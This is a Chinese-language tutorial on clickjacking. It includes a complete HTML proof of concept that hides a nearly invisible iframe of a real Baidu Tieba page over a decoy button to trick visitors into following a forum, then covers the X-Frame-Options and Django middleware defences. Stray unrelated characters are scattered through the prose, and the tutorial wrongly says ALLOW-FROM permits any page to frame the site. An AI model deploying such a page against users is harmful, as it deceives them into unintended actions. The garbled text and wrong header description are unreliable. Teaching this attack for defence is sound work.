clickjacking攻擊:
clickjacking
攻擊又稱作點擊劫持攻擊。是一種在網(wǎng)頁中將惡意代碼等隱藏在看似無害的內(nèi)容(如按鈕)之下,并誘使用戶點擊的手段矫限。
clickjacking攻擊場景:
場景一:
如用戶收到一封包含一段視頻的電子郵件催式,但其中的“播放”按鈕并不會真正播放視頻,而是鏈入一購物網(wǎng)站临庇。這樣當(dāng)用戶試圖“播放視頻”時反璃,實際是被誘騙而進(jìn)入了一個購物網(wǎng)站。
場景二:
用戶進(jìn)入到一個網(wǎng)頁中假夺,里面包含了一個非常有誘惑力的按鈕A
淮蜈,但是這個按鈕上面浮了一個透明的iframe
標(biāo)簽,這個iframe
標(biāo)簽加載了另外一個網(wǎng)頁已卷,并且他將這個網(wǎng)頁的某個按鈕和原網(wǎng)頁中的按鈕A
重合梧田,所以你在點擊按鈕A
的時候,實際上點的是通過iframe
加載的另外一個網(wǎng)頁的按鈕侧蘸。比如我現(xiàn)在有一個百度貼吧裁眯,想要讓更多的用戶來關(guān)注,那么我們可以準(zhǔn)備以下一個頁面:
<!DOCTYPE html>
<html>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<head>
<title>點擊劫持</title>
<style>
iframe{
opacity:0.01;
position:absolute;
z-index:2;
width: 100%;
height: 100%;
}
button{
position:absolute;
top: 345px;
left: 630px;
z-index: 1;
width: 72px;
height: 26px;
}
</style>
</head>
<body>
這個合影里面怎么會有你讳癌?
<button>查看詳情</button>
<iframe src="http://tieba.baidu.com/f?kw=%C3%C0%C5%AE"></iframe>
</body>
</html>
頁面看起來比較簡陋穿稳,但是實際上可能會比這些更精致一些。當(dāng)這個頁面通過某種手段被傳播出去后晌坤,用戶如果點擊了“查看詳情”逢艘,實際上點擊到的是關(guān)注的按鈕,這樣就可以增加了一個粉絲骤菠。
clickjacking防御:
像以上場景1它改,是沒有辦法避免的,受傷害的是用戶商乎。而像場景2央拖,受傷害的是百度貼吧網(wǎng)站和用戶。這種場景是可以避免的鹉戚,只要設(shè)置百度貼吧不允許使用iframe
被加載到其他網(wǎng)頁中爬泥,就可以避免這種行為了。我們可以通過在響應(yīng)頭中設(shè)置X-Frame-Options
來設(shè)置這種操作崩瓤。X-Frame-Options
可以設(shè)置以下三個值:
-
DENY
:不讓任何網(wǎng)頁使用iframe
加載我這個頁面袍啡。 -
SAMEORIGIN
:只允許在相同域名(也就是我自己的網(wǎng)站)下使用iframe
加載我這個頁面。 -
ALLOW-FROM origin
:允許任何網(wǎng)頁通過iframe
加載我這個網(wǎng)頁却桶。
在Django
中境输,使用中間件django.middleware.clickjacking.XFrameOptionsMiddleware
可以幫我們堵上這個漏洞,這個中間件設(shè)置了X-Frame-Option
為SAMEORIGIN
颖系,也就是只有在自己的網(wǎng)站下才可以使用iframe
加載這個網(wǎng)頁嗅剖,這樣就可以避免其他別有心機的網(wǎng)頁去通過iframe
去加載了。
看文章不過癮嘁扼?還有免費的視頻教程信粮,讓你學(xué)起來更輕松:https://www.zhiliaoketang.cn/course/detail/4.html